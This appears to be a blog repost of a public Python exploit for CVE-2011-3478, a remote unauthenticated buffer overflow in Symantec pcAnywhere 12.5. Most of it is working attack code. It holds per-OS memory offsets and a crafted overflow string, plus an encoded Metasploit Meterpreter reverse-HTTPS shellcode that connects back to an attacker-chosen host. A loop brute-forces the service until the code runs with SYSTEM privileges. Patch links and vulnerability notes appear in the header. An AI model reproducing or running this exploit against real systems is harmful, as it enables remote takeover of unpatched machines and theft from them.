Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86371258

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

#!/usr/bin/python

################################################################
# Exploit Title: Symantec pcAnywhere v12.5.0 Windows x86 RCE
# Date: 2015-10-31
# Exploit Author: Tomislav Paskalev
# Vendor Homepage: https://www.symantec.com/
# Software Link: http://esdownload.symantec.com/akdlm/CD/MTV/pcAnywhere_12_5_MarketingTrialware.exe
#   Version: Symantec pcAnywhere v12.5.0 Build 442 (Trial)
# Vulnerable Software:
#   Symantec pcAnywhere 12.5.x through 12.5.3
#   Symantec IT Management Suite pcAnywhere Solution 7.0 (aka 12.5.x) and 7.1 (aka 12.6.x)
# Tested on:
#   Symantec pcAnywhere v12.5.0 Build 442 (Trial)
#   --------------------------------------------
#   Microsoft Windows Vista Ultimate SP1 x86 EN
#   Microsoft Windows Vista Ultimate SP2 x86 EN
#   Microsoft Windows 2008 Enterprise SP2 x86 EN
#   Microsoft Windows 7 Professional SP1 x86 EN
#   Microsoft Windows 7 Ultimate SP1 x86 EN
# CVE ID: 2011-3478
# OSVDB-ID: 78532
################################################################
# Vulnerability description:
#   The application's module used for handling incoming connections
#   (awhost32.exe) contains a flaw. When handling authentication
#   requests, the vulnerable process copies user provided input
#   to a fixed length buffer without performing a length check.
#   A remote unauthenticated attacker can exploit this vulnerability
#   to cause a buffer overflow and execute arbitrary code in the
#   context of the exploited application (installed as a service
#   by default, i.e. with "NT AUTHORITY\SYSTEM" privileges).
################################################################
# Target application notes:
#   - the application processes one login attempt at a time
#     (i.e. multiple parallel login requests are not possible)
#   - available modules (interesting exploit wise):
#     Name         | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll
#    -------------------------------------------------------------
#     awhost32.exe | False  | False   | False |  False   | False
#     ijl20.dll    | False  | False   | False |  False   | False
#     IMPLODE.DLL  | False  | False   | False |  False   | False
#    -------------------------------------------------------------
#   - supported Windows x86 operating systems (pcAnywhere v12.5)
#       - Windows 2000
#       - Windows 2003 Server
#       - Windows 2008 Server
#       - Windows XP
#       - Windows Vista
#       - Windows 7
################################################################
# Exploit notes:
#   - bad characters: "\x00"
#   - Windows Vista, Windows 2008 Server, Windows 7
#     - after a shellcode execution event occurs, the
#       application does not crash and remains fully functional
#       - one successful shellcode execution event has a low
#         success rate (applies to all OSes)
#         - in order to achieve an overall more reliable exploit,
#           multiple shellcode executions need to be performed
#           (until the shellcode is successfully executed)
#           - brute force is a feasible method 
#             - multiple parallel brute force attacks are not possible
#   - multiple valid offsets are available (i.e. not just the
#     ones tested)
################################################################
# Test notes:
#   - all tested OSes
#     - clean default installations
#   - all OS specific statistics referenced in the exploit are
#     based on the test results of 10 attempts per tested offset
#     - all attempts were performed after a system reboot (VM)
#     - the provided test results should be taken only as a rough guide
#       - in practice it might occur that the number of attempts
#         needed to achieve successful exploitation is (much)
#         higher than the maximum value contained in the test
#         results, or that the exploit does not succeed at all
#         - other (untested) offsets might provide better results
#   - not letting the OS and application load fully/properly before
#     starting the exploit may lead to failed exploitation (this
#     observation was made during the testing of the exploit and
#     applies mostly to Windows 7)
################################################################
# Patch:
#   https://support.symantec.com/en_US/article.TECH179526.html
#   https://support.norton.com/sp/en/us/home/current/solutions/v78694006_EndUserProfile_en_us
################################################################
# Thanks to:
#   Tal zeltzer (discovered the vulnerability)
#   S2 Crew (Python PoC)
################################################################
# In memoriam:
#   msfpayload | msfencode  [2005 - 2015]
################################################################
# References:
#   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3478
#   http://www.zerodayinitiative.com/advisories/ZDI-12-018/
#   https://www.exploit-db.com/exploits/19407/
################################################################


import socket
import time
import struct
import string
import sys




################################
###  HARDCODED TARGET INFO   ###
################################


# target server info
# >>> MODIFY THIS >>>
targetServer = "192.168.80.227"
targetPort   = 5631


# Supported operating systems
vistaUltSP1  = {
    'Version': 'Microsoft Windows Vista Ultimate SP1 x86 EN',
    'Offset': 0x03e60000,
    'PasswordStringLength': 3500,
    'TestAttempts': [8, 62, 35, 13, 8, 7, 11, 23, 8, 10]
};
vistaUltSP2  = {
    'Version': 'Microsoft Windows Vista Ultimate SP2 x86 EN',
    'Offset': 0x03e60000,
    'PasswordStringLength': 3500,
    'TestAttempts': [16, 27, 13, 17, 4, 13, 7, 9, 5, 16]
};
s2k8EntSP2   = {
    'Version': 'Microsoft Windows 2008 Enterprise SP2 x86 EN',
    'Offset': 0x03dd0000,
    'PasswordStringLength': 3500,
    'TestAttempts': [25, 5, 14, 18, 66, 7, 8, 4, 4, 24]
};
sevenProSP1  = {
    'Version': 'Microsoft Windows 7 Professional SP1 x86 EN',
    'Offset': 0x03a70000,
    'PasswordStringLength': 3500,
    'TestAttempts': [188, 65, 25, 191, 268, 61, 127, 136, 18, 98]
};
sevenUltSP1  = {
    'Version': 'Microsoft Windows 7 Ultimate SP1 x86 EN',
    'Offset': 0x03fa0000,
    'PasswordStringLength': 3500,
    'TestAttempts': [23, 49, 98, 28, 4, 31, 4, 42, 50, 42]
};


# target server OS
# >>> MODIFY THIS >>>
#OSdictionary = vistaUltSP1
#OSdictionary = vistaUltSP2
#OSdictionary = s2k8EntSP2
#OSdictionary = sevenProSP1
OSdictionary = sevenUltSP1


# timeout values
shellcodeExecutionTimeout = 30


# client-server handshake
initialisationSequence = "\x00\x00\x00\x00"
handshakeSequence      = "\x0d\x06\xfe"


# username string
usernameString         = "U" * 175


# shellcode
# available shellcode space: 1289 bytes
# shellcode generated with Metasploit Framework Version: 4.11.4-2015090201 (Kali 2.0)
# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_https LHOST=192.168.80.223 LPORT=443 EXITFUNC=seh -e x86/shikata_ga_nai -b '\x00' -f python -v shellcode
# >>> MODIFY THIS >>>
shellcode =  ""
shellcode += "\xda\xd3\xd9\x74\x24\xf4\xbf\x2c\x46\x39\x97\x5d"
shellcode += "\x33\xc9\xb1\x87\x83\xed\xfc\x31\x7d\x14\x03\x7d"
shellcode += "\x38\xa4\xcc\x6b\xa8\xaa\x2f\x94\x28\xcb\xa6\x71"
shellcode += "\x19\xcb\xdd\xf2\x09\xfb\x96\x57\xa5\x70\xfa\x43"
shellcode += "\x3e\xf4\xd3\x64\xf7\xb3\x05\x4a\x08\xef\x76\xcd"
shellcode += "\x8a\xf2\xaa\x2d\xb3\x3c\xbf\x2c\xf4\x21\x32\x7c"
shellcode += "\xad\x2e\xe1\x91\xda\x7b\x3a\x19\x90\x6a\x3a\xfe"
shellcode += "\x60\x8c\x6b\x51\xfb\xd7\xab\x53\x28\x6c\xe2\x4b"
shellcode += "\x2d\x49\xbc\xe0\x85\x25\x3f\x21\xd4\xc6\xec\x0c"
shellcode += "\xd9\x34\xec\x49\xdd\xa6\x9b\xa3\x1e\x5a\x9c\x77"
shellcode += "\x5d\x80\x29\x6c\xc5\x43\x89\x48\xf4\x80\x4c\x1a"
shellcode += "\xfa\x6d\x1a\x44\x1e\x73\xcf\xfe\x1a\xf8\xee\xd0"
shellcode += "\xab\xba\xd4\xf4\xf0\x19\x74\xac\x5c\xcf\x89\xae"
shellcode += "\x3f\xb0\x2f\xa4\xad\xa5\x5d\xe7\xb9\x57\x3b\x6c"
shellcode += "\x39\xc0\xb4\xe5\x57\x79\x6f\x9e\xeb\x0e\xa9\x59"
shellcode += "\x0c\x25\x84\xbe\xa1\x95\xb4\x13\x16\x72\x01\xc2"
shellcode += "\xe1\x25\x8a\x3f\x42\x79\x1f\xc3\x37\x2e\xb7\x78"
shellcode += "\xb6\xd0\x47\x97\x86\xd1\x47\x67\xd9\x84\x3f\x54"
shellcode += "\x6e\x11\x95\xaa\x3a\x37\x6f\xa8\xf7\xbe\xf8\x1d"
shellcode += "\x4c\x16\x73\x50\x25\xc2\x0c\xa6\x91\xc1\xb0\x8b"
shellcode += "\x53\x69\x76\x22\xd9\x46\x0a\x1a\xbc\xea\x87\xf9"
shellcode += "\x09\xb2\x10\xcf\x14\x3c\xd0\x56\xb3\xc8\xba\xe0"
shellcode += "\x69\x5a\x3a\xa2\xff\xf0\xf2\x73\x92\x4b\x79\x10"
shellcode += "\x02\x3f\x4f\xdc\x8f\xdb\xe7\x4f\x6d\x1d\xa9\x1d"
shellcode += "\x42\x0c\x70\x80\xcc\xe9\xe5\x0a\x55\x80\x8a\xc2"
shellcode += "\x3d\x2a\x2f\xa5\xe2\xf1\xfe\x7d\x2a\x86\x6b\x08"
shellcode += "\x27\x33\x2a\xbb\xbf\xf9\xd9\x7a\x7d\x87\x4f\x10"
shellcode += "\xed\x0d\x1b\xad\x88\xc6\xb8\x50\x07\x6a\x74\xf1"
shellcode += "\xd3\x2d\xd9\x84\x4e\xc0\x8e\x25\x23\x76\x60\xc9"
shellcode += "\xb4\xd9\xf5\x64\x0e\x8e\xa6\x22\x05\x39\x3f\x98"
shellcode += "\x96\x8e\xca\x4f\x79\x54\x64\x26\x33\x3d\xe7\xaa"
shellcode += "\xa2\xb1\x90\x59\x4b\x74\x1a\xce\xf9\x0a\xc6\xd8"
shellcode += "\xcc\x99\x49\x75\x47\x33\x0e\x1c\xd5\xf9\xde\xad"
shellcode += "\xa3\x8c\x1e\x02\x3b\x38\x96\x3d\x7d\x39\x7d\xc8"
shellcode += "\x47\x95\x16\xcb\x75\xfa\x63\x98\x2a\xa9\x3c\x4c"
shellcode += "\x9a\x25\x28\x27\x0c\x8d\x51\x1d\xc6\x9b\xa7\xc1"
shellcode += "\x8e\xdb\x8b\xfd\x4e\x55\x0b\x97\x4a\x35\xa6\x77"
shellcode += "\x04\xdd\x43\xce\x36\x9b\x53\x1b\x15\xf7\xf8\xf7"
shellcode += "\xcf\x9f\xd3\xf1\xf7\x24\xd3\x2b\x82\x1b\x5e\xdc"
shellcode += "\xc3\xee\x78\x34\x90\x10\x7b\xc5\x4c\x51\x13\xc5"
shellcode += "\x80\x51\xe3\xad\xa0\x51\xa3\x2d\xf3\x39\x7b\x8a"
shellcode += "\xa0\x5c\x84\x07\xd5\xcc\x28\x21\x3e\xa5\xa6\x31"
shellcode += "\xe0\x4a\x37\x61\xb6\x22\x25\x13\xbf\x51\xb6\xce"
shellcode += "\x3a\x55\x3d\x3e\xcf\x51\xbf\x03\x4a\x9d\xca\x66"
shellcode += "\x0c\xdd\x6a\x81\xdb\x1e\x6b\xae\x12\xd8\xa6\x7f"
shellcode += "\x65\x2c\xff\x51\xbd\x60\xd1\x9f\x8f\xb3\x2d\x5b"
shellcode += "\x11\xbd\x1f\x71\x87\xc2\x0c\x7a\x82\xa9\xb2\x47"




################################
###     BUFFER OVERFLOW      ###
###   STRING CONSTRUCTION    ###
################################


# Calculate address values based on the OS offset
pointerLocationAddress    = OSdictionary['Offset'] + 0x00005ad8
pointerForECXplus8Address = OSdictionary['Offset'] + 0x00005ad4
breakPointAddress         = OSdictionary['Offset'] + 0x000065af - 0x00010000


# jump over the next 38 bytes (to the begining of the shellcode)
jumpToShellcode    = "\xeb\x26\x90\x90"

# pointerLocationAddress - the memory address location of the "pointerForECXplus8" variable
pointerLocation    = struct.pack('<L', pointerLocationAddress)

# CALL ESI from the application module ijl20.dll [aslr=false,rebase=false,safeseh=false]
callESI            = struct.pack('<L', 0x67f7ab23)

# pointerForECXplus8Address - the memory address location of the start of the DDDD string in the shellcode (Offset + 0x00005acc + 0x8)
pointerForECXplus8 = struct.pack('<L', pointerForECXplus8Address)


# construct the password string which will cause a buffer overflow condition and exploit the vulnerability
passwordString = (
    "A" * 945 +
    jumpToShellcode +
    pointerLocation +
    "D" * 4 +
    pointerForECXplus8 +
    callESI +
    "\x90" * 20 +
    shellcode +
    "I" * (1289 - len(shellcode)) +
    "\xaa" * (OSdictionary['PasswordStringLength'] - 945 - 4 * 5 - 20 - 1289)
)




################################
###        FUNCTIONS         ###
################################


# calculate and return the median value of the argument list
def calculateMedian(targetList):
    sortedTargetList = sorted(targetList)
    targetListLength = len(targetList)
    medianIndex = (targetListLength - 1) / 2

    if (targetListLength % 2):
        return sortedTargetList[medianIndex]
    else:
        return ((sortedTargetList[medianIndex] + sortedTargetList[medianIndex + 1]) / 2)



# print an indented line with a type prefix
def printLine(infoType, indentDepth, textToDisplay):

    # [I]nformational
    if infoType == "I":
        print ('    ' * indentDepth),
        print "\033[1;37m[*]\033[1;m", textToDisplay

    # [E]rror
    elif infoType == "E":
        print ('    ' * indentDepth),
        print "\033[1;31m[-]\033[1;m", textToDisplay

    # [S]uccess
    elif infoType == "S":
        print ('    ' * indentDepth),
        print "\033[1;32m[+]\033[1;m", textToDisplay

    # [W]arning
    elif infoType == "W":
        print ('    ' * indentDepth),
        print "\033[1;33m[!]\033[1;m", textToDisplay

    # [N]one
    elif infoType == "N":
        print ('    ' * indentDepth),
        print textToDisplay



# print the banner - general exploit info, target info, target OS statistics
def printBanner():
    printLine ("I", 0, "Symantec pcAnywhere v12.5.0 Build 442 Login+Password field")
    printLine ("N", 1, "Buffer Overflow Remote Code Execution exploit (CVE-2011-3478)")
    printLine ("I", 1, "by Tomislav Paskalev")

    printLine ("I", 0, "Target server information")
    printLine ("I", 1, "IP address            : " + targetServer)
    printLine ("I", 1, "Port                  : " + str(targetPort))

    printLine ("I", 0, "Exploit target information")
    printLine ("I", 1, "Target OS             : " + OSdictionary['Version'])
    printLine ("I", 2, "Offset            : " + "{:#010x}".format(OSdictionary['Offset']))
    printLine ("I", 2, "Breakpoint (test) : " + "{:#010x}".format(breakPointAddress))
    printLine ("I", 2, "Password length   : " + str(OSdictionary['PasswordStringLength']))
    printLine ("I", 2, "Test result stats")
    printLine ("I", 3, "Test count    : " + str(len(OSdictionary['TestAttempts'])))
    printLine ("I", 3, "Reliability   : " + str(((len(OSdictionary['TestAttempts']) - OSdictionary['TestAttempts'].count(0)) * 100) / len(OSdictionary['TestAttempts'])) + "%")
    printLine ("I", 3, "Min attempt   : " + str(min([element for element in OSdictionary['TestAttempts'] if element > 0])))
    printLine ("I", 3, "Max attempt   : " + str(max(OSdictionary['TestAttempts'])))
    printLine ("I", 3, "Avg attempt   : " + str(sum(OSdictionary['TestAttempts']) / len(OSdictionary['TestAttempts'])))
    printLine ("I", 3, "Median attempt: " + str(calculateMedian(OSdictionary['TestAttempts'])))



# connect to the server and return the socket
def connectToServer(server, port):
    # create socket
    targetSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        targetSocket.connect((server, port))
    except socket.error as msg:
        if "[Errno 111] Connection refused" in str(msg):
            return None
    # return the opened socket
    return targetSocket



# send the data to the server and return the response
def sendDataToServer(destSocket, dataToSend):
    destSocket.send(dataToSend)
    try:
        receivedData = destSocket.recv(1024)
    except socket.error as msg:
        if "[Errno 104] Connection reset by peer" in str(msg):
            return None
    return receivedData



# run the exploit; exits when finished or interrupted
def runExploit():
    printLine ("I", 0, "Starting exploit...")

    attemptCounter = 0

    # brute force the service until the shellcode is successfully executed
    while True:
        # connect to the target server
        openSocket = connectToServer(targetServer, targetPort)

        attemptCounter += 1
        sleepTimer = 0

        printLine ("I", 1, "Attempt no. " + str(attemptCounter))
        printLine ("I", 2, "Sending initialisation sequence...")

        # send the data; check outcome
        while True:
            receivedData = sendDataToServer(openSocket, initialisationSequence)
            # check if server responded properly, if yes exit the loop
            if receivedData:
                if "Please press <Enter>..." in receivedData:
                    break
            # exit if the service is unavailable
            if attemptCounter == 1:
                printLine ("E", 3, "Service unavailable")
                printLine ("I", 4, "Exiting...")
                exit(1)
            # check if shellcode executed (based on a timer)
            if sleepTimer > shellcodeExecutionTimeout:
                print ""
                printLine ("S", 4, "Shellcode executed after " + str(attemptCounter - 1) + " attempts")
                printLine ("I", 5, "Exiting...")
                exit(1)

            # print waiting ticks
            sys.stdout.write('\r')
            sys.stdout.write("             \033[1;33m[!]\033[1;m Connection reset - reinitialising%s" % ('.' * sleepTimer))
            sys.stdout.flush()

            # sleep one second and reconnect
            time.sleep(1)
            sleepTimer += 1

            openSocket.close()
            openSocket = connectToServer(targetServer, targetPort)

        if sleepTimer > 0:
            print ""

        printLine ("I", 2, "Sending handshake sequence...")
        openSocket.send(handshakeSequence)
        time.sleep(3)
        data = openSocket.recv(1024)
 
        printLine ("I", 2, "Sending username...")
        openSocket.send(usernameString)
        time.sleep(3)
 
        printLine ("I", 2, "Sending password...")
        openSocket.send(passwordString)
        openSocket.close()
        time.sleep(3)



# main function
if __name__ == "__main__":
    printBanner()
    try:
        runExploit()
    except KeyboardInterrupt:
        print ""
        sys.exit()


# End of file